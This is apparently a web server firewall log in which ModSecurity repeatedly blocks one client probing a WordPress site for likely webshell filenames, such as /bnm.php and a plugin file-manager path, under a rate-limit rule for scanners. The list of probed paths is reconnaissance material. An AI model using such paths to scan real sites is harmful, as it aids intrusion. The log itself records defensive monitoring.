[Thu Apr 16 00:12:33.084596 2026] [:error] [pid 30957:tid 30997] [client 168.63.72.46:31954] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "ad-48X5gwVEVXHfVSirNSQAAAEg"]
[Thu Apr 16 00:12:34.464136 2026] [:error] [pid 31053:tid 31062] [client 168.63.72.46:25140] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "ad-48hcEkLCmvF0fjDdrBAAAAIY"]
[Thu Apr 16 00:12:35.731168 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:7595] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "ad-48xcEkLCmvF0fjDdrDQAAAI0"]
[Thu Apr 16 00:12:36.760165 2026] [:error] [pid 30958:tid 31016] [client 168.63.72.46:9958] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "ad-49MeG3wSKTO7NWFH4iQAAAMA"]
[Thu Apr 16 00:12:39.237127 2026] [:error] [pid 30958:tid 31031] [client 168.63.72.46:28520] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-498eG3wSKTO7NWFH4qwAAAM8"]
[Thu Apr 16 00:12:41.975925 2026] [:error] [pid 30958:tid 31027] [client 168.63.72.46:14670] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-4-ceG3wSKTO7NWFH4wwAAAMs"]
[Thu Apr 16 00:12:45.131902 2026] [:error] [pid 31053:tid 31071] [client 168.63.72.46:4899] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-4_RcEkLCmvF0fjDdrIgAAAI8"]
[Thu Apr 16 00:12:47.466795 2026] [:error] [pid 31053:tid 31069] [client 168.63.72.46:25144] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad-4_xcEkLCmvF0fjDdrNQAAAI0"]
[Thu Apr 16 00:12:48.626967 2026] [:error] [pid 31053:tid 31056] [client 168.63.72.46:31966] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "ad-5ABcEkLCmvF0fjDdrQQAAAIA"]
[Thu Apr 16 00:12:49.307443 2026] [:error] [pid 23913:tid 23934] [client 168.63.72.46:31962] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "ad-5AVUaK3MLdSaLOyjwOQAAAVM"]
[Thu Apr 16 00:12:53.128107 2026] [:error] [pid 30957:tid 31013] [client 168.63.72.46:21925] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "ad-5BX5gwVEVXHfVSirNcgAAAFg"]
[Thu Apr 16 00:12:55.278851 2026] [:error] [pid 31053:tid 31071] [client 168.63.72.46:37080] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "ad-5BxcEkLCmvF0fjDdrZwAAAI8"]
[Thu Apr 16 00:12:58.337743 2026] [:error] [pid 37370:tid 37392] [client 168.63.72.46:17426] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "ad-5Cng-gnM2Ga0cGAC2nwAAARQ"]
[Thu Apr 16 00:13:01.568189 2026] [:error] [pid 23913:tid 23926] [client 168.63.72.46:31985] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "ad-5DVUaK3MLdSaLOyjwXwAAAUs"]
[Thu Apr 16 00:13:14.143050 2026] [:error] [pid 31053:tid 31071] [client 168.63.72.46:26988] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ad-5GhcEkLCmvF0fjDdruQAAAI8"]
[Thu Apr 16 00:13:16.877532 2026] [:error] [pid 30956:tid 30971] [client 168.63.72.46:4950] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ad-5HEBGUpjaWntNYq2ungAAAAs"]
[Thu Apr 16 00:13:17.994021 2026] [:error] [pid 30958:tid 31033] [client 168.63.72.46:35984] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ad-5HceG3wSKTO7NWFH5HAAAANE"]
[Thu Apr 16 00:13:20.797350 2026] [:error] [pid 30958:tid 31030] [client 168.63.72.46:12841] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "ad-5IMeG3wSKTO7NWFH5JAAAAM4"]
[Thu Apr 16 00:13:23.354736 2026] [:error] [pid 30957:tid 31013] [client 168.63.72.46:37079] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "ad-5I35gwVEVXHfVSirNpQAAAFg"]
[Thu Apr 16 00:13:24.804406 2026] [:error] [pid 30957:tid 30996] [client 168.63.72.46:15660] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "ad-5JH5gwVEVXHfVSirNpwAAAEc"]
[Thu Apr 16 00:13:25.734524 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:36002] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "ad-5JX5gwVEVXHfVSirNqAAAAFE"]
[Thu Apr 16 00:13:27.215310 2026] [:error] [pid 37370:tid 37393] [client 168.63.72.46:21209] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "ad-5J3g-gnM2Ga0cGAC22QAAARU"]
[Thu Apr 16 00:13:29.076024 2026] [:error] [pid 30958:tid 31020] [client 168.63.72.46:17446] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "ad-5KceG3wSKTO7NWFH5MwAAAMQ"]
[Thu Apr 16 00:13:30.562856 2026] [:error] [pid 31053:tid 31070] [client 168.63.72.46:17693] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "ad-5KhcEkLCmvF0fjDdryQAAAI4"]
[Thu Apr 16 00:13:31.479831 2026] [:error] [pid 30957:tid 31003] [client 168.63.72.46:11590] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "ad-5K35gwVEVXHfVSirNsAAAAE4"]
[Thu Apr 16 00:13:35.591782 2026] [:error] [pid 31053:tid 31068] [client 168.63.72.46:17506] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "ad-5LxcEkLCmvF0fjDdrzwAAAIw"]
[Thu Apr 16 00:13:38.305446 2026] [:error] [pid 37370:tid 37382] [client 168.63.72.46:8885] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "ad-5Mng-gnM2Ga0cGAC26gAAAQo"]
[Thu Apr 16 00:13:39.118704 2026] [:error] [pid 31053:tid 31079] [client 168.63.72.46:11625] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "ad-5MxcEkLCmvF0fjDdr0gAAAJc"]
[Thu Apr 16 00:13:42.071274 2026] [:error] [pid 23913:tid 23928] [client 168.63.72.46:22280] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "ad-5NlUaK3MLdSaLOyjwkAAAAU0"]
[Thu Apr 16 00:13:43.245863 2026] [:error] [pid 30957:tid 31006] [client 168.63.72.46:25180] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "ad-5N35gwVEVXHfVSirNyAAAAFE"]
[Thu Apr 16 00:13:45.802728 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:56392] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "ad-5ORcEkLCmvF0fjDdr2wAAAIs"]
[Thu Apr 16 00:13:48.923101 2026] [:error] [pid 31053:tid 31075] [client 168.63.72.46:8862] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "ad-5PBcEkLCmvF0fjDdr4wAAAJM"]
[Thu Apr 16 00:13:51.084737 2026] [:error] [pid 31053:tid 31076] [client 168.63.72.46:56431] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "ad-5PxcEkLCmvF0fjDdr7AAAAJQ"]
[Thu Apr 16 00:13:53.983989 2026] [:error] [pid 31053:tid 31078] [client 168.63.72.46:33454] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "ad-5QRcEkLCmvF0fjDdr8gAAAJY"]
[Thu Apr 16 00:13:56.803265 2026] [:error] [pid 30958:tid 31039] [client 168.63.72.46:35572] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad-5RMeG3wSKTO7NWFH5YwAAANc"]
[Thu Apr 16 00:14:00.759862 2026] [:error] [pid 23913:tid 23929] [client 168.63.72.46:52697] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad-5SFUaK3MLdSaLOyjwmwAAAU4"]
[Thu Apr 16 00:14:02.751335 2026] [:error] [pid 31053:tid 31071] [client 168.63.72.46:24811] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad-5ShcEkLCmvF0fjDdsIAAAAI8"]
[Thu Apr 16 00:14:05.203175 2026] [:error] [pid 30958:tid 31027] [client 168.63.72.46:31880] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad-5TceG3wSKTO7NWFH5ewAAAMs"]
[Thu Apr 16 00:14:08.500449 2026] [:error] [pid 30956:tid 30980] [client 168.63.72.46:22362] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "ad-5UEBGUpjaWntNYq2uvwAAABQ"]
[Thu Apr 16 00:14:10.542868 2026] [:error] [pid 30958:tid 31029] [client 168.63.72.46:22868] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "ad-5UseG3wSKTO7NWFH5mgAAAM0"]
[Thu Apr 16 00:14:20.601923 2026] [:error] [pid 31053:tid 31075] [client 168.63.72.46:37576] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "ad-5XBcEkLCmvF0fjDdsUQAAAJM"]
[Thu Apr 16 00:14:22.300985 2026] [:error] [pid 30957:tid 31009] [client 168.63.72.46:18184] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "ad-5Xn5gwVEVXHfVSirOJwAAAFQ"]
[Thu Apr 16 00:14:23.698568 2026] [:error] [pid 30958:tid 31031] [client 168.63.72.46:20392] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws57.php"] [unique_id "ad-5X8eG3wSKTO7NWFH5ugAAAM8"]
[Thu Apr 16 00:14:24.862654 2026] [:error] [pid 30957:tid 30998] [client 168.63.72.46:4099] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "ad-5YH5gwVEVXHfVSirONQAAAEk"]
[Thu Apr 16 00:14:27.249164 2026] [:error] [pid 30956:tid 30977] [client 168.63.72.46:20075] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "ad-5Y0BGUpjaWntNYq2u3AAAABE"]
[Thu Apr 16 00:14:31.128085 2026] [:error] [pid 37370:tid 37395] [client 168.63.72.46:7296] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "ad-5Z3g-gnM2Ga0cGAC3GwAAARc"]
[Thu Apr 16 00:14:36.744487 2026] [:error] [pid 31053:tid 31067] [client 168.63.72.46:8100] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8573.php"] [unique_id "ad-5bBcEkLCmvF0fjDdsegAAAIs"]
[Thu Apr 16 00:14:38.233507 2026] [:error] [pid 31053:tid 31065] [client 168.63.72.46:19724] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "ad-5bhcEkLCmvF0fjDdsgAAAAIk"]
[Thu Apr 16 00:14:40.914121 2026] [:error] [pid 23913:tid 23915] [client 168.63.72.46:35029] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "ad-5cFUaK3MLdSaLOyjw2QAAAUA"]
[Thu Apr 16 00:14:42.586852 2026] [:error] [pid 23913:tid 23937] [client 168.63.72.46:18983] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "ad-5clUaK3MLdSaLOyjw3QAAAVY"]
[Thu Apr 16 00:14:44.927397 2026] [:error] [pid 30957:tid 31013] [client 168.63.72.46:16945] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws66.php"] [unique_id "ad-5dH5gwVEVXHfVSirOUAAAAFg"]
[Thu Apr 16 00:14:46.741760 2026] [:error] [pid 30957:tid 30999] [client 168.63.72.46:18033] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ad-5dn5gwVEVXHfVSirOVQAAAEo"]
[Thu Apr 16 00:14:47.491826 2026] [:error] [pid 30957:tid 31011] [client 168.63.72.46:4757] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ad-5d35gwVEVXHfVSirOVwAAAFY"]
[Thu Apr 16 00:14:48.175010 2026] [:error] [pid 23913:tid 23915] [client 168.63.72.46:13600] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ad-5eFUaK3MLdSaLOyjw5QAAAUA"]
[Thu Apr 16 00:14:48.902008 2026] [:error] [pid 31053:tid 31064] [client 168.63.72.46:12888] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "ad-5eBcEkLCmvF0fjDdsnAAAAIg"]
[Thu Apr 16 00:14:49.575078 2026] [:error] [pid 31053:tid 31058] [client 168.63.72.46:15730] [client 168.63.72.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad-5eRcEkLCmvF0fjDdsoAAAAII"]
